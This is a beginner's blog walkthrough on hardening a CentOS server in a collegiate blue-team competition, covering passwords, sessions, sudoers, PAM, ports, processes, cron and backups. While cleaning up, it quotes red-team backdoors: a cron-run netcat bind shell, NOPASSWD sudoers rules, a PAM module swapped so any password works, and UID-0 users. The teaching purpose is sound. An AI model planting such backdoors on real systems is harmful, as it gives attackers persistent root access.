Securing a Linux Server

back · home · blog · posted 2021-11-06 · securing a typical Linux image
Table of Contents


DCDC is a competition run by DSU, meant as an opportunity to practice defensive sysadmin skills in an environment similar to CCDC (a popular collegiate blue team competition).

On 2021-11-06, a DCDC event was held with the theme "Ratatouille" (best movie).

I'll be walking through how you may approach securing the box I put together, havre, named after Le Havre. However, the longer I've taken to write this, the more general it has become, so I'll be taking some creative liberties with the contents of the actual machine :)

Below is a summary of its environment:

pfsense pfsense Firewall 10.20.X.1
toulon Debian 10 SSH, FTP, SCADA 10.20.X.10
havre Centos 7 SSH, SMB, HTTP 10.20.X.11
paris Ubuntu 18 SSH, FTP, HTTP, SQL 10.20.X.12
orleans Ubuntu 20 SSH, ICMP, PLC 10.20.X.13
metz Win 2012 R2 SMB, IIS 10.20.X.14
rouen Win 2016 LDAP (DC), DNS, SMB 10.20.X.15
rochelle Win 2019 HTTP, HTTPS 10.20.X.16
versailles Win 10 RDP, SMB 10.20.X.17

This walkthrough is targeted towards beginners, who are familiar with essential concepts (users, groups) and know how to use the command line, but are shaky on "the big picture" of securing a machine. You should follow along on a machine of your own. If you have access to the IALab, you can spin up this very image.

Please don't take the steps and actions in this post as prescriptive-- every environment is different and requires intelligent consideration as to what the best course of action may be. Also, disclaimer, I'm not omnipotent, so there may be mistakes or sub-optimal strategies herewithin. But, if evaluated carefully, the steps here could form a strong basis for your own checklist and style of approaching these situations.

This guide also assumes that you are doing this manually! If you are allowed to use scripts, full send it, and use Ansible. Although, understanding how to do it manually is kind of a prerequisite.

I also have some general tips for approaching a situation like this, be it during a competition or not:

  1. Never type without thinking.
  2. Simple solutions are always better.
  3. Practice like you play.


This section is only pertinent to those using our infrastructure (or similar). But, it's a pretty common setup.

You have the choice of connecting through VPN (OpenVPN in this case), or using the virtualization console (vSphere, in this case).

I will strongly, strongly recommend using the VPN. While the console has benefits (it's easier to log in to, and much harder to lock yourself out of), it severely limits your flexibility.

For example, you (likely) cannot copy and paste, the latency is much higher, your console may time out/reset when you're doing something important, and you can't use a native terminal that you're familiar with. So, this post will assume that you have launched the VPN:

sudo openvpn ./dcdcratatouille.ovpn
16:18:56 OpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)]
16:18:56 UDP link remote: [AF_INET]
16:18:56 [server] Peer Connection Initiated with [AF_INET]
16:18:58 /sbin/ip link set dev tun0 up mtu 1500
16:18:58 /sbin/ip addr add dev tun0 broadcast
16:18:58 Initialization Sequence Completed

You can test that you have access to the environment by trying to ping the Scoring Engine, which for us is at

PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=63 time=57.7 ms
64 bytes from icmp_seq=2 ttl=63 time=49.8 ms
64 bytes from icmp_seq=3 ttl=63 time=49.4 ms

If you get ping responses like above, you are connected to the network.

During a competition, it will be made clear what your external IP is. For our machine, it's When ssh asks you for a password, type the password (typically, Password1!) (it won't be printed).

ssh root@
root@'s password:
Last login: Sat Nov  6 02:42:44 2021 from
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
     Bienvenue à la Ratatouille!
  Faire comme chez toi. Bonne chance!
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
[root@havre ~]#

Now, you have access to the shell of the machine, and you can begin to defend it. havre is a CentOS 7 box, but almost all of what we will do is universally applicable.


All commands assume you are root. If you are not, run commands that require it with sudo, or escalate to root with sudo -i.


Since this is a CCDC-style competition, your first priority is to minimize the curbstomping you receive from the red team. The only instantaneous form of RCE (remote code execution) they can get on your box, without having prior knowledge of the environment, is through SSH and default credentials. So, the first thing you do should be to change your password, and first of those, is the root password:

Why is the root account important?

The root account, or any account with User ID 0 (since that is how root is defined), has full control over the system. It's the most important account on any Linux/Unix system.


Why am I not seeing my password when I type it?

Disabling echo, or not seeing your characters when you type them, is a security feature to prevent people around you (or people viewing your screen remotely) from being able to see your password. It's similar to when you type your password on a website and it shows up as something like *******.

If you don't want to see what you're typing, for some reason, you can enable it at any time with stty -echo. Turn it back on with stty echo.

After you change the root password, you should change passwords for all users on the system, and lock those who do not have shells. This first snippet changes all users passwords to the same password:

read -p "Pw: "; for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | cut -d":" -f1); do echo "$u:$REPLY" | chpasswd; echo "$u,$REPLY"; done
Pw: [I typed:] mySecureP4ssW0rd897!

Explain this Bash script.

Ok. If this is the first time you've seen Bash, you should know that it does a few things differently compared to typical programming languages. Bash is primarily composed of calling binaries (also called commands, like read), glued together with organizational structures such as if statements, for loops, and other things you've probably heard of.

What we're doing here is using read to get user input, then for each username in the file /etc/passwd (which holds the list of users for the system), changing their password to your read $REPLY (all responses to read are implicitly put in that variable) via chpasswd, which takes password changes in the format username:password.

To decide which user passwords to change, we are finding users with a /shell/, which indicates if they're allowed to log into the computer normally. Users without a shell have no conventional way to interact with the system, so they shouldn't have a password. We're searching for /bin/.*sh, which is a /Regular Expression/ meaning "anything starting with /bin/ and ending with sh" (so, /bin/bash, /bin/sh, /bin/dash, /bin/zsh, /bin/fish, /bin/ksh, and all other shells you can think of are caught by this).

# Read your password from the terminal and store it in $REPLY
read -p "Pw: "

# For users in /etc/passwd with a shell, take the username part of the line
    # NOTE: the format of /etc/passwd looks like this:
        # root:x:0:0:root:/root:/bin/bash
    # So that cut command is saying, take the first field when
    # the line is colon-delimited.
for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | cut -d":" -f1); do

    # Change the password with chpasswd
    echo "$u:$REPLY" | chpasswd

    # Print the password to the terminal
    echo "$u,$REPLY"

# Terminate the for loop

Then, since we have to submit our password changes to the Scoring Engine (probably), we are printing the new usernames and passwords to the terminal in comma-delimited format. This is what you will put in a text file and submit to the Scoring Engine, so it knows how to log in to your services. However, beware, not all services need password authentication (for example, web servers do not, while SMB, non-anonymous FTP, and SSH always do). So, please don't waste your time submitting password changes for anonymous services.

There is no output from chpasswd upon successful password change. This is following the Unix principle "Rule of Silence: When a program has nothing surprising to say, it should say nothing" (source).

Uh, isn't having all my user's passwords be the same thing, kind of bad?

You may be thinking,

"Uh, isn't having all my passwords be the same thing, kind of bad?" -- You

You have a fair point. I chose the above script for its simplicity. You can easily change it to change every password to something reasonably secure. For example:

read -p "Salt: "
for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | grep -v "root" | cut -d":" -f1); do

    # Hash the current nanosecond with a salt
    ns=$(date +%N)
    pw=$(echo "${ns}$REPLY" | sha256sum | cut -d" " -f1)

    # Change the password with chpasswd
    echo "$u:$pw" | chpasswd

    # Print the password to the terminal
    echo "$u,$pw"

# Terminate the for loop

You may have noticed that I am removing root from the list of users changed, because I assume you don't want to type a 64-character password, if you are logging into root via ssh or su. You can remove any user you want by using grep -v (grep inverse match).

As a tip, if you are debugging your bash script, you can run it with bash -x to print every command executed.

Now, we have changed all user passwords on the system. We should now go through and lock all non-user accounts.

for u in $(cat /etc/passwd | grep -vE "/bin/.*sh" | cut -d":" -f1); do passwd -l $u; done

Explain THIS Bash script!

Sheesh, alright. This script is taking an inverse match of the Regular Expression, which looks for users with shells. So, it's looking for all users who do not have shells, and are thus not meant to log in. So we lock their accounts with passwd -l, so they can't log in.

It's also completely valid to just change every account's password as well. However, this is closer to "best practice".

Finally, we have all of our system passwords changed, and non-user accounts locked. Ideally, we should be here in less than 30 seconds into the competition. Now, we want to kick out anyone who may have logged in before we did that. Even if we changed everyone's passwords, if someone already has a session on our machine, they are not kicked out (even if you restart ssh)! We need to vet them manually.

Killing Sessions

First, we can check who or w for people logged in using legitimate means:

05:35:48 up 2 min, 3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE    JCPU   PCPU  WHAT
root     pts/0       05:32    0.00s   0.00s  0.00s w
root     pts/1       05:33    0.04s   0.00s  0.00s
root     pts/3      05:34    1.51s   0.00s  0.00s -bash

In this case, we know we are pts/0 due to our IP, current command running (under "WHAT"). We can also run tty to find out. This means that two other people are currently on this box-- one is running an interactive shell (-bash on pts/3), and more concerning, pts/1 is running We should figure out what's in that script, but first, we need to kick them out.

The easiest way to do this is to kill their pts (/pseudo-terminal/-- basically, their terminal session). We can do this with pkill:

pkill -9 -t pts/1
pkill -9 -t pts/3

We are sending signal 9 (SIGKILL) to their session, which means they're dead, no matter what. On the attacker side, it'll look something like this:

[root@havre ~]# cat /etc/shado
Connection to closed.
root@kali:~# echo "darn it"

And now we check again to make sure they're gone:

05:35:56 up 1 days, 38 min, 3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE    JCPU   PCPU  WHAT
root     pts/0       05:32    0.00s   0.00s  0.00s w

Good, that's more like it.

But what about people that did not connect legitimately (for example, people that did not issue a PTY to themselves)? We're going to fall back on ss, socket statistics, a great tool for investigating network connections.

Scum, how would one hack me without "issuing a PTY" (whatever that means)?

Issuing a pseudo-terminal (PTY) is optional when connecting through SSH. It makes for a much nicer experience, which is why it's on by default, but you can log in without a PTY like this:

ssh root@localhost -T

And your session won't show up on w.

The insight here is that, although they may not have a PTY, anyone running commands on our system must be using an established connection. So, we run:

ss -peunt
Netid  State   Local Address:Port    Peer Address:Port
tcp    ESTAB     users:(("sshd",pid=9549,fd=3))
tcp    ESTAB   users:(("sshd",pid=15608,fd=3))

We got another one! In this scenario, we are ssh -ing into our box, rather than using it physically or from the console. So we know our own IP (in this fictional scenario, it is, and the other IP is not a legitimate user. So, we kill the PID listed in the output.

ss can be hard to read, but just look for the pid= field. We are using kill rather than pkill, since we are directly passing a PID (rather than a process name or a pts). There are ways to kill directly with ss, but they're less portable.

kill -9 15608
ss -peunt
Netid  State   Local Address:Port    Peer Address:Port
tcp    ESTAB     users:(("sshd",pid=9549,fd=3))

There we go, looks good. Hopefully, it will now take them some time to get back in our systems.

If you keep going around killing things, aren't you going to kill the scoring engine's connection?

Valid concern, however that is very unlikely and at most will only cost you one check. The scoring engine is typically very quick at ascertaining if your SSH server is up, and will only run a couple commands at most, and probably faster than you can notice and kill it.

"Advanced" monitoring tip...

At this point, I would monitor the auth.log in the background of my terminal, so that I could see when people log in, or change passwords, or do any myriad of other activity involving accounts. You can do this with:

tail -f /var/log/auth.log &

The ampersand at the end means "background this". So, whenever something is added to the log, it will print to your terminal. This might get annoying if there are a lot of events. But, it doesn't actually mess up your input. And you can use CTRL-l to clear your terminal, and pkill tail or kill $(jobs -p) to end the task.

As a side note, you can background and foreground any process. It's called "job control", and is really useful. You use CTRL-z to background something, and type the command fg to foreground it. Say you were editing something with vim, maybe an nginx (web server) config, and you wanted to test if it worked before you exited your session and lost your undo history. You could launch vim, make your edits, background it, check that your config is valid (nginx -t), then fg it and save and exit.

Users and Groups

Now, we are going to audit existing users and groups on the system, to make nothing is there.

Bad things here would be unauthorized users, UID 0 users other than root, unnecessary users in the sudo, wheel, or nopasswdlogin groups, and anything that looks suspicious. Fewer accounts means a smaller attack surface.

Typically, a competition will publish a list of valid users for you to go off of. If they don't specify which ones are supposed to be admins (that is, able to execute commands as root via sudo), make none of them admins! This is the principle of least privilege-- if they don't need it, they don't get it.

There are many (too many) ways to edit users and groups on a system. My favorite way is to straight open up /etc/passwd in Vim. If you're not comfortable with Vim, you can use Nano or even Gedit if you're in a graphical environment. However, when using this method, you do need to be very careful, since you can effectively brick your machine with just one mistake.

What is the "best practice" way to do this?

Reasonable people will use the built in user management utilities, such as useradd, userdel, and usermod in order to add, delete, and modify users. For a middle ground, you can use vipasswd, which will ensure that your passwd file is not broken before saving it. I personally fear no such fate.

Once we have the file open, we are looking for "bad things," as touched on above. Here are some things you do not want to see in your file:

head /etc/passwd
john:x:55:0:Hi I'm john:/home/john/:/bin/sh

Every line above has at least one thing wrong with it.

  1. Why is root home in /tmp?
  2. Why does daemon have a user shell /bin/bash?
  3. Why does bin have a UID of 0?
  4. Why is bin using /usr/bin/nologin rather than the real /usr/sbin/nologin (mind the s)?
  5. Why is john, a user, using a system UID? (User IDs below 1000 are hidden, and reserved for system users)

Here's what a healthy file will look like:

head /etc/passwd

So to fix it, change root home folder back to /root, put bin back at UID 2 and a normal non-login shell, give daemon a non-login shell, and nuke john.

If these "flaws" seem arbitrary to you, don't worry. The only way to tell if things are weird is to understand how it works and to know what it looks like normally, which is impossible if you've never seen it before.

So, if we actually look at the havre box, here are the two interesting lines in /etc/passwd:


Everything else in the file looks normal. Of course, that doesn't mean it's secure-- someone could have secretly replaced /sbin/nologin with a real shell, like /bin/bash. But we'll deal with that later.

However, these two users: toor is not a valid user, and he has a UID of 0 -- which means if someone manages to log in as this user, they will be root. Secondly, charles looks like a great guy, but he's not on the list of default users and is more than likely a backdoor user account added by a red teamer (or the box creator).

Show me the whole file.

Here you go. You can definitely get more hints from the full thing, such as tcpdump being installed (if you care about that). But those two lines above are the only important bits.

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

After we remove these users, we'll want to run pwck to validate and verify our users changes. For example, since we removed the above two users, we'll also want to remove them from /etc/shadow, the place where their password hashes are stored, and from /etc/groups, the place where groups are defined. pwck will do all of that for us.

no matching password file entry in /etc/passwd
delete line 'charles:$6$K7SXEO.iujx$mQ[...]JjvwA.:18937:0:99999:7:::'? y
no matching password file entry in /etc/passwd
delete line 'toor:$6$gMMrT/AynliVad8P[...]GS3uHchZmnTbzL82KZ.:18937:0:99999:7:::'? y
pwck: the files have been updated

Keep in mind that the users' files on disk have not been deleted. This is often what we want, so that we can save and use them for forensic purposes. Occasionally however, some persistence mechanism or bad thing can still be active from that user's owned files. You can find all files owned by a user with find, if you so desire:

find / -user "toor" 2>/dev/null

Luckily there's nothing weird, just the mail and home folder files. authorized_keys could be used to gain access to the account (if it wasn't deleted by us), and we'll investigate more on that later.

What is that "dev null" thing?

When we don't want to see the output from a command, we can pipe its output to /dev/null, which is kind of like a black hole. There are two possible pipes that a program can output from: pipe 1, stdout, is the standard output pipe. The second, pipe 2, stderr, is where we see errors. So if we do command 2>/dev/null, that's saying "take the second pipe (stderr), and throw it away".

In short, we are silencing errors from the command, since we'll get some permission denied errors from reading through /proc.

Next, let's take a look at groups. The structure of each line of /etc/group is group-name:x:group_id:groupuser1,groupuser2. For CentOS and other Red Hat based systems, the group that can execute commands with sudo is called wheel. On Debian-based systems, it is the sudo group. On the havre system, this file is pretty sparse.


The only interesting group in this file is wheel, and it is empty. While that doesn't have many implications security-wise, it does mean that if you lock yourself out of the root account, you'll have no legitimate avenue for getting back to root.

Something that you wouldn't want to see here might be if every user was in the wheel group, or an unknown group that many people are in (maybe that group is used by a privileged service somehow?). But usually, managing groups is pretty tame.

Whole file. Now!

Here you go. There's really nothing else interesting.

cat /etc/group

So, nothing to fix for groups. If we did change anything, we could run grpck to accomplish a similar goal as pwck.


There is a set of configuration files that manage sudoer policy. By default, people with accounts in the wheel or sudo group are allowed to use sudo, and they have to type their account password before using it. (Un)fortunately, you can turn this off. These configurations can be found at /etc/sudoers and in the folder /etc/sudoers.d.

A folder with a dot in it? That's weird.

Typically, you would expect a path with a dot in it to be a file with an extension (like sysctl.conf). However, there is a convention for service configuration files to live in a folder ending with .d for 'directory.' For example, the extra apt source files for apt based systems (typically, Debian-based systems) live in /etc/apt/sources.list.d/.

You can check the content of the /etc/sudoers file with visudo, or if you're like me, with vim. You can edit them all at once like this, and use :n in vim to move to the next one. (But note that this won't edit files starting with a period, so you should always double check).

vim /etc/sudoers /etc/sudoers.d/*

These files are somewhat intuitive. Ours looks like this:

# This file MUST be edited with the 'visudo' command as root.
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
# See the man page for details on how to write a sudoers file.
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# User privilege specification

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

As you can see, Mr. No-Fun configuration file doesn't want us directly editing it. And as it suggests, you can read more about the file (and almost any file on the system!) by reading the man page with man sudoers. You can use that to read about the Defaults directives at the top, because they're normal.

If you're using vim, you can force it to save the file anyway by using w!. You have to do that because the write bit is not enabled (so it's r-- and not rw-).

The line root ALL=(ALL:ALL) ALL permits root to execute, on ALL hosts, ALL users and ALL groups, ALL commands, in that order. This strings is called a Runas_Spec, and yes, you can read more about it in the man page.

So what may jump out at you is the inclusion of NOPASSWD, and you'd be right to think that's weird. The addition of that is abnormal, and means anyone in the wheel group can execute all commands without a password. Let's change that back:

%wheel	ALL=(ALL:ALL) ALL

Afterwards, we test our new policy:

sudo echo hi

That's strange, it should have asked for our password.

Unfortunately, additional configuration files have pulled a fast one on us. What looks like a comment in the /etc/sudoers file is actually an include statement, which means to read every file in /etc/sudoers.d:

#includedir /etc/sudoers.d

Of course, we should have checked the directory anyway, because many services hardcode in multiple paths to check for configurations rather than relying on the main config including them.

ls -la /etc/sudoers.d

We notice /etc/sudoers.d/EPICHAX, which seems to be a malicious file:

vim /etc/sudoers.d/EPICHAX

Without our system's best interests at heart, they're letting all users execute any command as anyone without a password. We remove that line, and then check the README, because we don't trust it-- but we don't find anything weird there.

Then, we make sure to verify our fix:

sudo echo hi
Password: [I typed my password here]

Excellent, it appears that our sudoers configuration is properly secured. Of course, there a biliion things that could be misconfigured or backdoored, but this is good enough for our scope.


PAM stands for pluggable authentication modules. Word on the street is that it was created as a general interface to support many different authentication methods, like kerberos. In any case, it impacts us today by controlling most if not all authentication on most systems.

PAM on CentOS is kind of cracked, and involves use of the authconfig tool. In the interest of general applicability and understanding, I'm going to cover this section from the perspective of a Debian-based system, but the skills should transfer.

For example, when you type your password for ssh (assuming UsePAM yes is set, which is usually default), your username is given to PAM to ensure you're allowed (your account is not disabled), and your password is given to PAM to check that it's correct (with The details of this get kind of convoluted, but I would suggest reading the man page (man pam) for more information if the following paragraph interests you.

There are four main types of checks (the following is almost directly copied from the man page):

  1. account - provide account verification types of service: has the user's password expired?; is this user permitted access to the requested service?
  2. auth-entication - authenticate a user and set up user credentials. Typically this is via some challenge-response request that the user must satisfy: if you are who you claim to be please enter your password.
  3. password - updating authentication mechanisms (for example, passwd).
  4. session - this group of tasks cover things that should be done prior to a service being given and after it is withdrawn. Such tasks include the maintenance of audit trails and the mounting of the user's home directory.

We'll be seeing those types shortly. What this means for us, is that there are a bunch of configuration files in /etc/pam.d that use a bunch of so files (shared objects).

The most common is common-auth, where the clean version looks like:

cat /etc/pam.d/common-auth
# /etc/pam.d/common-auth - authentication settings common to all services
# here are the per-package modules (the "Primary" block)
auth	[success=1 default=ignore] nullok_secure
# here's the fallback if no module succeeds
auth	requisite
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth	required
# and here are more per-package modules (the "Additional" block)
auth	optional
# end of pam-auth-update config

There's auth! I'm not a PAM expert, but essentially, each line is a directive that starts with a type or group (in this case, auth), then an option that contextualizes how it should be used (is this check good enough by itself? Is it optional? Should it only be used if nothing else passes?), and finally, the shared object file itself, with options that should be passed to it.

If that's confusing, don't worry about it. But do worry about this, which is the version on our box:

# /etc/pam.d/common-auth - authentication settings common to all services
# here are the per-package modules (the "Primary" block)
auth	[success=1 default=ignore] nullok_secure
# here's the fallback if no module succeeds
auth	requisite
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth	required
# and here are more per-package modules (the "Additional" block)
auth	optional
# end of pam-auth-update config

It's subtle, but has been changed to This means that, if no other module suceeds, it will grant the user access (permit). So, for all authentication-- SSH, su, login-- any password will work. Which is not optimal security. So let's change it back:

auth	requisite

And like good cyber citizens, we test our changes.

su root
Password: [I slammed my keyboard]
[root@havre ~]#

Ah... crud. Looks like similar to our sudo situation, there are multiple layers we need to take care of.

Short of recompiling it, there's only a couple other things that can be done to bypass PAM in this blatant manner. For example, what if someone replaced the .so files we're using? Since they are just files sitting on your disk.

Let's check it out:

ls -la /usr/lib/security
drwxr-xr-x   3 root root  4096 Dec 17 21:38 .
drwxr-xr-x 115 root root 73728 Dec 19 12:48 ..
-rwxr-xr-x   1 root root 18336 Oct 12 12:47
-rwxr-xr-x   1 root root 14219 Oct 12 12:47
-rwxr-xr-x   1 root root 14320 Oct 12 12:47
-rwxr-xr-x   1 root root 13944 Oct 12 12:47
-rwxr-xr-x   1 root root 14320 Oct 12 12:47

That's quite suspicious-- there's a file suggesting it is a backup of pam_deny. And is the same file size as

When red teamers (or competition organizers) are being nice, they'll leave backup files like this. If they didn't, you'd have to reinstall PAM. Or even more antisocially, if the backup file was also backdoored (or a modified copy of, we'd be tricked into thinking we closed this vuln. So, always test your changes, and only trust the red team if they seem nice.

To fix this, we'll trust whoever made the backup, copy it over the real file:

cp -f

And test our changes? Yeah.

su root
Password: [I slammed my keyboard]
[5 seconds pass]
su: Authentication failure

Huzzah, it appears we were successful!

This is a hassle! Isn't there any easy way to reset PAM?

Why yes, there is, lazy cyber gremlin. On Debian-based systems, you can run:

apt install --reinstall libpam-modules
pam-auth-update --force

For CentOS/RHEL, there is a way to do something similar, but that will be left as an exercise to the reader :)


Now that we have reasonably secured our users and authentication, we'll move on the binary phantoms in our system.

Listening Ports

The best litmus test of how screwed you are is seeing what listening and established connections there are to your system. On newer systems, you will use ss (socket statistics). You may remember this fine scholar from the 'killing sessions' section. On older systems, you'll use netstat, but our CentOS box has ss so we won't bother.

First, let's check for listening ports:

ss -plunt
Netid State   Local Address:Port   Process
udp   UNCONN   users:(("avahi-daemon",pid=532,fd=12))
udp   UNCONN     users:(("systemd-resolve",pid=494,fd=12))
udp   UNCONN    users:(("cups-browsed",pid=613,fd=7))
tcp   LISTEN     users:(("systemd-resolve",pid=494,fd=13))
tcp   LISTEN     users:(("sshd",pid=521,fd=6))
tcp   LISTEN   users:(("nc",pid=1715,fd=49))
tcp   LISTEN    users:(("samba",pid=779,fd=15))
tcp   LISTEN     users:(("httpd",pid=924,fd=37))
tcp   LISTEN              *:21     users:(("vsftpd",pid=1201,fd=26))

Notice that the udp connections are "UNCONN" rather than "LISTEN" because... UDP things.

This system looks pretty clean, for one using systemd at least. We can "safely" ignore avahi-daemon and systemd-resolve, those are services meant for autoconfiguration and DNS. You can safely kill avahi, but don't make it a priority. cups-browsed is a printer configuration interface, which you can access in your web browser at http://localhost:631. You should probably disable it, but again, not a huge priority.

Also if you see anything listening for [::], that's IPv6. I disable IPv6 in competitions that don't require it (/cough/ standardized since 2017 /cough/), to decrease the available attack surface, but it probably won't hurt too much.

Otherwise, we see our services dutifully listening on their ports., or INADDR_ANY, means it will accept a connection from any IP address. Compare this to the systemd-resolve service, which will only accept connections from localhost. You should limit this where possible, for example, if you have a MySQL server that only needs to listen for connections from your own computer, or from one other computer on your network, you should change the bind address appropriately.

But, what also jumps out at us, is that there is a nc process listening on port 1337. No matter how leet that is, it has no place in our happy Linux server. You can kill it via the PID shown there, as we did previously, but you should probably investigate how it ran so that you can prevent it in the future, or respond closer to the root cause. We'll talk about process auditing in the next section. Keep in mind there may be other bind shells that weren't active when you ran ss.

Overall, these listening ports give us a good snapshot of our system. We know we have three critical services from the Overview, but now, we know what they are exactly (vsftpd instead of proftpd or similar, httpd (apache2) and not nginx, etc), and we also now know what ports they're listening on. We also see that we have an extraneous service, which is FTP. Let's remove it:

yum remove vsftpd

If you're worried about removing important FTP information (weirdo), you can just stop and disable the service:

systemctl stop vsftpd; systemctl disable vsftpd

Or of course, just check what files it's hosting before removing it.


Allow me to introduce you to my favorite Linux command (sorry, my favorite GNU coreutils command): ps auxf. It will list all processes in a tree structure. Like this (output has been edited for brevity, and it's still massive):

ps auxf
root          2  0.0  0.0  ?      21:19   0:00 [kthreadd]
root          3  0.0  0.0  ?      21:19   0:00  \_ [rcu_gp]
root          4  0.0  0.0  ?      21:19   0:00  \_ [rcu_par_gp]
root          6  0.0  0.0  ?      21:19   0:00  \_ [kworker/0:0H-events_highpri]
root          9  0.0  0.0  ?      21:19   0:00  \_ [mm_percpu_wq]
root         10  0.0  0.0  ?      21:19   0:00  \_ [rcu_tasks_rude_]
root      50960  0.0  0.0  ?      23:21   0:00  \_ [kworker/0:0-events]
root        248  0.0  0.6  ?      21:19   0:00 /lib/systemd/systemd-journald
root        270  0.0  0.1  ?      21:19   0:00 /lib/systemd/systemd-udevd
avahi       532  0.0  0.0  ?      21:19   0:00 avahi-daemon: running [havre.local]
root        533  0.0  0.0  ?      21:19   0:00 /usr/sbin/cron -f
root       2787  0.0  0.0  ?      23:36   0:00   \_ nc -lvnp 1337 -e /bin/bash
root        649  0.0  0.2  ?      21:19   0:00 /usr/sbin/gdm3
root        658  0.0  0.2  ?      21:19   0:00  \_ gdm-session-worker [pam/gdm-autologin]
remy        671  0.0  0.2  ?      21:19   0:00 /lib/systemd/systemd --user
remy        673  0.0  0.0  ?      21:19   0:00  \_ (sd-pam)
remy       1011  0.6  8.9  ?      21:19   0:46  \_ /usr/bin/gnome-shell
remy       1354  0.0  1.3  ?      21:19   0:03  \_ /usr/libexec/gnome-terminal-server
remy       1390  0.0  0.1  pts/0  21:19   0:00  |   \_ bash
root       1422  0.0  0.1  pts/0  21:19   0:00  |       \_ sudo -i
root       1423  0.0  0.1  pts/0  21:19   0:00  |           \_ -bash
root      50962  0.0  0.0  pts/0  23:21   0:00  |               \_ ps auxf
remy       1457  0.0  0.1  ?      21:20   0:00  \_ /usr/libexec/gvfsd-metadata
kernoops    689  0.0  0.0  ?      21:19   0:00 /usr/sbin/kerneloops
rtkit       728  0.0  0.0  ?      21:19   0:00 /usr/libexec/rtkit-daemon
root      47546  0.0  0.1  ?      22:42   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root      49375  0.0  0.6  ?      22:55   0:00 /usr/sbin/smbd --foreground --no-process-group
root      49377  0.0  0.2  ?      22:55   0:00  \_ /usr/sbin/smbd --foreground --no-process-group
root      51491  0.0  0.1  ?      23:38   0:00 /usr/sbin/httpd -k start
www-data  51492  0.0  0.1  ?      23:38   0:00  \_ /usr/sbin/httpd -k start
www-data  51493  0.0  0.1  ?      23:38   0:00  \_ /usr/sbin/httpd -k start

We can tell a lot from this output. Don't worry about anything with [brackets] around it, that means it's a kernel thread, and is not relevant unless you're hunting for rootkits, or people on the kernel mailing list to send nastygrams to. Otherwise, we see-- ohmygosh, is that rtkit? Like rootkit? Unfortunately no, it's RealtimeKit, which is some scheduling garbage, I don't really know.

From the left to right side of the output, there is the process user, the process ID (pid), its CPU and Memory (RAM) usage, when it was started, how long its been running, and its Cmdline (you can see them in /proc/PID/cmdline. Did you know that all ps does is read the /proc/ directory? Thanks plan9!).

We can see, however, our services up and running, except the FTP server we killed. We also see that nc (netcat) listener from before has been run by cron! I hate cron's guts, from its beautiful Unix-like simplicity to its wise minute-level granularity...

We should remove the offending entry from cron, and then choose how to remediate it. If we don't have anything else depending on cron (such as an e-commerce site that uses it to update its product database (looking at you, Magento)), we can stop, disable, and/or mask it. Trying to uninstall it on some systems has removed core system packages and the GUI in the past (thanks Ubuntu), so I'm scared of removing it.

There are a couple of places that cron, or its younger brother anacron, will read files from.

  1. User files in /var/spool/cron/crontabs. This is where files get created when you type crontab -e (edit my crontab).
  2. Global system files in /etc/crontab and /etc/cron.*/*. Any directives in these files can run as any user, and files that aren't in one of the "daily" or "weekly" or etc folders can be run at most, once a minute.

But it's a huge pain to look through these. Usually I just read through the user files, skim the system ones, and disable cron. So let's check the user files:

ls /var/spool/cron/crontabs

Weird! Let's take a peek:

cat /var/spool/cron/crontabs/*
# And I would have gotten away with it, if it weren't for you meddling health inspectors!
* * * * * root pgrep nc || nc -lvnp 1337 -e /bin/bash

Tsk tsk! Consider yourself deleted.

rm /var/spool/cron/crontabs/*
I wouldn't actually be typing the entire path again. You can use ALT+. to put the last argument of the last command at your cursor.

Now, let us punish.

systemctl stop cron
systemctl disable cron
systemctl mask cron

Masking cron makes it so that people can't just enable it, they have to recreate the service file, or jump through some other hoops.

Service Backups

Hey! You-- yeah, you. Back up your services! If you don't think you need to, you are wrong. Sorry! Even though this is pretty deep into the image guide, you should really do this ASAP, along with your network, process, and kernel module baselines (more on kernel modules later).

Most services are just a collection of files. You can take these files and put them in a folder, then tar it up.

For example, let's back up the httpd server on this box. We copy the files:

mkdir http_backup
cp -rp /var/www/html http_backup/webdir
cp -rp /etc/httpd/ http_backup/conf

Then put them in a archive.

tar zcf http_backup.tar.gz http_backup

Now, there is a file called http_backup.tar.gz with our files. Yay! Put it in your root home folder in like .cache, or somewhere else hidden and unreadable. You should do this for all unique services, files, configs, and so forth.

Encrypt your backups!

You can use gpg to encrypt your backups with a password. This makes sure it's not tampered with or stolen by the red team.

You shouldn't use this as the only protection against your backups (don't encrypt them, and then put them in an anonymous samba share), but it's very effective.

Continuing our example, we encrypt our archive:

gpg -c http_backup.tar.gz

It will prompt you for a password, then create http_backup.tar.gz.gpg (in this example). Make sure you don't lose the password, then remove the plaintext copies:

rm -f http_backup.tar.gz
rm -rf http_backup

When you need to decrypt the archive (hopefully never, but realistically at least twice), you can do so like this:

gpg -d http_backup.tar.gz.gpg

Service Hardening

You've hardened your users and authentication, audited your services, network connections, and processes. It's been ten seconds since the start of the competition. Now, we approach our illustrious services that are the entirety of our actual box functionality.

